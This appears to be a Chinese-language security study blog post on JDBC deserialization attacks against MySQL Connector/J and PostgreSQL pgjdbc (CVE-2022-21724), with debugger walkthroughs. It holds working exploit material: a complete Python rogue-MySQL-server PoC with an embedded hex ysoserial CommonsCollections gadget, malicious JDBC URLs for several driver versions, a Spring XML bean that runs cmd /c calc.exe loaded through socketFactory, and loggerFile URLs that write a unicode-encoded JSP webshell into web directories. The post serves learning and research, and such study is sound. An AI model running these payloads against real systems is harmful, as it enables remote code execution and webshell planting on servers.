java反序列化之JDBC

引用

WebDog必学的JDBC反序列化

JDBC反序列化漏洞分析

小白看得懂的MySQL JDBC 反序列化漏洞分析

Java安全之JDBC Attacks学习记录

JDBC简介

BC(Java DataBase Connectivity)是一种用于执行Sql语句的Java Api,即Java数据库连接,是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,可以为多种关系数据库提供统一访问,提供了诸如查询和更新数据库中数据的方法,是Java访问数据库的标准规范。简单理解为链接数据库、对数据库操作都需要通过jdbc来实现

原理分析

简单demo

首先我们先在maven引入依赖

1
2
3
4
5
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.19</version>
</dependency>

我们试着用jdbc来查询一下我们自己本机上的表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;

import java.sql.*;//导入API所需包

public class Main {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
//JDBC驱动程序
String driver = "com.mysql.cj.jdbc.Driver";
//String Driver = "com.mysql.jdbc.Driver"; // mysql-connector-java 5
//数据库连接URL以及相关配置
String url = "jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=UTC&autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor";
//加载驱动类
Class.forName(driver);
//通过 Drivermanager 类获取数据库连接的实例
Connection connection = DriverManager.getConnection(url,"root","123456");
//利用createStatement接口获取一个statement对象,用于执行sql语句
Statement statement = connection.createStatement();
//执行sql语句,将结果保存在ResultSet对象中
ResultSet resultSet = statement.executeQuery("SELECT * FROM users");
//将结果集输出出来
while (resultSet.next()){
String username = resultSet.getString("name");
String password = resultSet.getString("age");
System.out.println(" username:"+username+" password:"+password);
}
// System.out.println(connection);
}
}

说一下数据库连接的一些配置吧

admin就是所需要连接的数据库名称

serverTimezone=UTC 指定了数据库服务器的时区为协调世界时(UTC)没有正确的时间处理,运行是会报错的

autoDeserialize=true 表明从数据库中检索数据会自动反序列化,这个设置很重要,设置为false就没法利用了

statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor 指定了一个Mysql的语句拦截器,用于在执行sql语句前处理特殊事件

查询结果如下

image-20250406153902007

java序列化对象特征

我们也简单写一个demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;

import java.io.*;

public class Car implements Serializable {

private String name;
public Car(){
this.name ="car";
}

public static void main(String[] args) throws IOException, FileNotFoundException {
Car car=new Car();
FileOutputStream fos =new FileOutputStream("output");
ObjectOutputStream oos =new ObjectOutputStream(fos);
oos.writeObject(car);
oos.close();
}
}

输出output文件后,再用专门的软件进行查看该16进制文件

image-20250406163351785

image-20250406163424776

可以看出来序列化文件的前两个字节固定为-84-19,这一点在后面有重大作用

readObject触发点

这次就不跟着走一遍流程了,直接说重点,漏洞点在于com.mysql.cj.jdbc.result.ResultSetImpl.getObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public Object getObject(int columnIndex) throws SQLException {
checkRowPos();
checkColumnBounds(columnIndex);

int columnIndexMinusOne = columnIndex - 1;

// we can't completely rely on code below because primitives have default values for null (e.g. int->0)
if (this.thisRow.getNull(columnIndexMinusOne)) {
return null;
}

Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
switch (field.getMysqlType()) {
case BIT:
// TODO Field sets binary and blob flags if the length of BIT field is > 1; is it needed at all?
if (field.isBinary() || field.isBlob()) {
byte[] data = getBytes(columnIndex);

if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
Object obj = data;

if ((data != null) && (data.length >= 2)) {
if ((data[0] == -84) && (data[1] == -19)) {
// Serialized object?
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
} catch (ClassNotFoundException cnfe) {
throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()
+ Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());
} catch (IOException ex) {
obj = data; // not serialized?
}
} else {
return getString(columnIndex);
}
}

return obj;
}

return data;
}

return field.isSingleBit() ? Boolean.valueOf(getBoolean(columnIndex)) : getBytes(columnIndex);
......

关键点如下:
image-20250406164339927

在进入反序列化之前先进行了一个判断if ((data[0] == -84) && (data[1] == -19))

是不是特别的熟悉,就是上面着重提到的那两个数字

先判断是否为序列化对象,是的话才能够进入并调用readObject方法

查找getObject的用法

com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()中调用了,跟进看看:

image-20250406165107210

跟进ResultSetUtil.resultSetToMap(toPopulate, rs);,调用了getObject方法

image-20250406165200698

很好,现在我们只需要搞清楚上面的toPopulate和rs究竟是什么就可以了

toPopulate是一个Map类型的数据

rs实际上是服务端执行SQL语句SHOW SESSION STATUS后返回的结果,那么这就让我们不由得联想恶意mysql服务端了,如果有这么一个evil mysql,可以控制rs的值,那么可能就可以触发反序列化链了

image-20250406165416217

我们回到前面的getObject方法中,在判断是否是序列化对象之前还进行了一个判断,校验autoDeserialize的值是否为true,这也是JDBC URL中为啥要特地声明该值为true的原因

image-20250406165635340

Mysql认证报文

先写一手客户端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import java.sql.*;

public class Client {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
String Driver = "com.mysql.cj.jdbc.Driver";

String DB_URL = "jdbc:mysql://127.0.0.1:3306/admin?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true&serverTimezone=GMT%2B8";
Class.forName(Driver);
Connection conn = DriverManager.getConnection(DB_URL,"root","123456");
}
}

然后要用wireshark进行抓包,因为是抓本地的包,所以过滤器要选择这个

image-20250406170141602

过滤条件为tcp.port ==3306 && mysql

image-20250406171218667

不难发现其实mysql也是有类似tcp一样的认证系统的,有Request和Response,简单的看一个Response OK包:

image-20250406171356292

MYSQL Protocol就是认证报文了为0700000200000002000000,也就是说我们恶意服务端只需要将该数据返回给Request即可完成认证,再看看问候(greeting)报文:

image-20250406195250627

直接发送原始数据即可,恶意服务端可以将这部分改为恶意payload,之后进行反序列化

ServerStatusDiffInterceptor链

8.0.7-8.0.20

上面讲的其实就是该链

所以我们继续顺着上面的思路走,需要准备一个恶意mysql服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()

def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))

def get_payload_content():
#file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > a
file= r'a'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")

else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content

# 主要逻辑
def run():

while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))

# 1.先发送第一个 问候报文
send_data(conn,greeting_data)

while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)

#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢??
//获取payload
payload_content=get_payload_content()
//计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
//计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break


if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3309

sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)

print("start fake mysql server listening on {}:{}".format(HOST,PORT))

run()

上面poc的编写中,除了show session status的响应包外,剩下的包都可以直接按流量包总的数据直接抄过来的

show session status响应包的编写

刚开始觉得是不需要了解MYSQL私有协议的,结果我错了。如果要自己编写POC,还是要看得懂的。这里会简单分析一下。
从流量中可以看出来show session status属于request Query 报文。对于查询数据包的响应包可以分为四种:错误包(ERR Packet)、正确包(OK Packet)、 Protocol::LOCAL_INFILE_Request、结果集(ProtocolText::Resultset)。我们上面看到的Response OK数据包就是OK packet
这一部分我们主要是用的是结果集这个数据包。这里给出官方例子
结果集响应包的结构如图所示

image-20250406201532515

上面的官方图说明了一个结果集响应包的结构。

  • 数据段1:说明下面的结果集有多少列
  • 数据段2:列的定义
  • 数据段3: EOF 包
  • 数据段4:行数据

数据段的结构也是相似的。 长度(3字节) 序号(1字节) 协议数据(不同协议,数据不同)

  1. 数据段1就可以写成01 00 00 01 02 前三字节表示数据长度为1,sequence id为1,最后一字节02表示有两列(因为尝试写一列无法正常运行)

  2. 数据段2列的定义就比较复杂了。拿我写好的数据直接分析吧1a000002036465660001630163016301630c3f00ffff0000fcffff000000

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    1a 00 00  //3字节表示长度(这个长度说的是协议的内容长度,不包括序号那一字节)
    02 //序号 因为是第二个数据字段
    03646566 // 这个就是def的意思
    00 //schema 协议因为不使用就用00
    01 63 //table 因为我们使用列数据,就不需要名字了,下面几个都是任意字符。字符串第一字节是用来说明长度的
    01 63 //org_table 01表示1字节,63是数据
    0163 //name
    0163 //org_name
    0c filler // length of the following fields 总是0x0c
    3f00 //characterset 字符编码 003f是binary
    ffff0000 column_length //允许数据最大长度,就是我们行数据的最大长度。ffff
    fc //column_type 这一列数据类型 fc表示blob
    9000 //flags 9000用的官方的 poc可以运行。 看fnmsd的要大于128好像。
    00 //decimals
    0000 //filler_2
  3. 我的POC没有写 EOF包,不知道为什么加上就无法复现成功。(希望有人解答)

  4. 数据字段4就是POC了。POC其实和上面一样的。计算出长度(3字节)序号(1字节)行数据(行数据第一个字节是数据的长度)

  5. POC使用ysoserial 。 java -jar ysoserial [common7那个] "calc" > a

有了上面的知识再去看POC就很简单了

客户端代码

1
2
3
4
5
6
7
8
9
10
11
import java.sql.*;

public class Client {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";//8.x使用
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);

}
}

由于上面恶意mysql服务端用上的是cc链,所以要确保客户端代码处有添加cc依赖(笔者漏了这一点导致当初被卡了好久)

image-20250407153254628

跟着调试一手

image-20250407153441089

跟进getConnection方法

image-20250407153927599

又调用了一个getConnection方法,继续跟进

一直往下走

image-20250407154151207

跟进connect方法

image-20250407154312410

继续跟进getInstance方法

image-20250407154412344

初始化ConnectionImpl,参数hostInfo就是恶意mysql服务端的一些数据

image-20250407154645221

跟进,前面大部分代码都是初始化以及赋值,进入initializeSafeQueryInterceptors();初始化请求监听器

image-20250407155320982

再往下走到createNewIO方法

image-20250407155522152

跟进去

image-20250407155640146

跟进connectTryOnly方法,往下走到此处

image-20250407155807097

跟进去,发现拦截器是我们在参数queryInterceptors指定的ServerStatusDiffInterceptor类

image-20250407155903600

返回,继续往下走,继续初始化initializePropsFromServer();

image-20250407160051819

跟进去,往下走image-20250407160223935

跟进handleAutoCommitDefaults();

image-20250407162741053

调用setAutoCommit方法,跟进去,继续往下走

image-20250407162914738

调用execSQL执行SQL语句,跟进,往下走

image-20250407163421067

发送SQL请求数据包,跟进sendQueryString方法

image-20250407163641849

跟进

image-20250407163728154

调用invokeQueryInterceptorsPre方法,跟进

image-20250407164244444

调用preProcess方法,其参数sql就是设置autocommit的值为true,跟进

image-20250407164405761

image-20250407164440120

跟进populateMapWithSessionStatusValues方法

image-20250407164603361

熟悉吧,就是前面我们提到的漏洞点

调用ResultSetUtil.resultSetToMap(toPopulate, rs),这里的rs就是恶意的SQL服务端返回的数据

然后就是调用getObject进行反序列化,这就是最开始分析的一条链子,这里的jdbc版本是8,低版本大致流程也是这样,只有少数异同点,但最后都是进入getObject方法触发反序列化

5.1.0-5.1.10

1
2
3
4
5
6
7
8
9
String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);
String sql = "select database()";
PreparedStatement ps = conn.prepareStatement(sql);
//执行查询操作,返回的是数据库结果集的数据表
ResultSet resultSet = ps.executeQuery();

payload如上

5.1.11-5.x.xx

1
2
3
4
5
String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

6.x

1
2
3
4
5
String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

8.20以后

这以后进入populateMapWithSessionStatusValues后不会再调用getObject,因此直接GG

detectCustomCollations链

详见:https://boogipop.com/2023/03/11/WebDog%E5%BF%85%E5%AD%A6%E7%9A%84JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E4%B8%89%E3%80%81detectCustomCollations%E9%93%BE

感觉利用范围不是很大,先旷,后面有用到再学。。。。。。

PostgreSQL

postgresql简单使用:https://www.runoob.com/postgresql/windows-install-postgresql.html


同理PostgreSQL的property也存在安全问题CVE-2022-21724

在 PostgreSQL 数据库的 jdbc 驱动程序中发现一个安全漏洞。当攻击者控制 jdbc url 或者属性时,使用 PostgreSQL 数据库的系统将受到攻击。 pgjdbc 根据通过 authenticationPluginClassNamesslhostnameverifiersocketFactorysslfactorysslpasswordcallback 连接属性提供类名实例化插件实例。但是,驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。

影响范围:

  9.4.1208 <=PgJDBC <42.2.25

  42.3.0 <=PgJDBC < 42.3.2

这里主要记录两个点

  • socketFactory / socketFactoryArg 等property调用有参构造触发的RCE
  • loggerLevel / loggerFile 日志功能写文件

所需依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependencies>
<!-- PostgreSQL JDBC 驱动(漏洞版本) -->
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>

<!-- Spring 上下文(用于解析恶意 XML) -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.16</version>
</dependency>
</dependencies>

socketFactory/socketFactoryArg

恶意xml文件,利用了 Spring 框架的依赖注入机制来执行 Windows 系统命令(弹出计算器 calc.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">

<!-- Windows 环境下调用 calc.exe -->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>

测试代码

1
2
3
4
5
6
7
8
9
10
public class AttackPgsqlsocketFactory {

public static void main(String[] args) throws Exception {

String URL = "jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:8001/calc.xml";
DriverManager.registerDriver(new Driver());
Connection connection = DriverManager.getConnection(URL);
connection.close();
}
}

调试

堆栈如下:

1
2
3
4
5
6
7
8
9
10
instantiate:62, ObjectFactory (org.postgresql.util)
getSocketFactory:39, SocketFactoryFactory (org.postgresql.core)
openConnectionImpl:184, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnection:51, ConnectionFactory (org.postgresql.core)
<init>:225, PgConnection (org.postgresql.jdbc)
makeConnection:466, Driver (org.postgresql)
connect:265, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:14, AttackPgsqlsocketFactory (org.example)

跟进getConnection方法之后,一直往下走

image-20250418193311719

跟进connect方法,前面做了一定的判断之后,往下走

image-20250418194055725

跟进parseURL方法,该方法是对jdbc字符串进行处理

image-20250418194207803

以indexof?作为分割符,拿到properties参数,后续将结果保存为Properties对象返回

image-20250418194251445

返回后继续往下走,跟进makeConnection方法,顾名思义就是要开始建立联系

image-20250418194324266

跟进PgConnection方法

image-20250418194447472

又进行了一次赋值之后,继续往下走

image-20250418194620322

跟进openConnection方法

image-20250418194717705

初始化一个ConnectionFactory对象之后,调用其openConnectionImpl方法,跟进去

image-20250418195005671

跟进getSocketFactory方法,先从前面解析jdbc串时 return的Properties对象中,获取socketFactory的类名,也就是org.springframework.context.support.ClassPathXmlApplicationContext

image-20250418195044033

之后调用instantiate对其实例化处理,也就是漏洞触发点

image-20250418195533489

这里是一个任意类实例化的点,可以调用只有1个入参,参数类型为String的有参构造进行实例化

弹出计算器

loggerLevel/loggerFile

poc

1
2
3
jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=\u003c\u0025\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u006f\u0070\u0065\u006e\u0020\u002d\u0061\u0020\u0063\u0061\u006c\u0063\u0075\u006c\u0061\u0074\u006f\u0072\u0022\u0029\u007d\u003b\u0025\u003e&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/she11.jsp

driver=org.postgresql.Driver&url=jdbc:postgresql://172.16.105.1/test/?loggerLevel=DEBUG&loggerFile=../webapps/ROOT/static/555.jsp&<%! \uxxx\uxxx%><%\uxxx%> =&user=test&pwd=123123

image-20250418203737802

这个点不算复杂的,是log功能写文件,只是提一下写shell需要注意的一个地方,文件内容在下图地方会有一个处理

这里构造数据包时可以通过unicode编码shell内容=来进行shell写入,通过本身代码逻辑,让=截断掉前面的shell内容绕过URLDecoder的处理。其他的方式应该也可以,只要让=第一次出现的位置位于shell内容后面或者shell内容中不存在会让URLDecoder.decode抛异常的字符即可。

image-20250418203558851

例如

1
<%! \uxxx\uxxx%><%\uxxx%>

H2

h2配置

1
2
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

而h2本身的console界面也是可以通过jdbc连接串来进行jndi利用的

https://www.cnblogs.com/CoLo/p/17051019.html#h2

先搁一下。。。。。。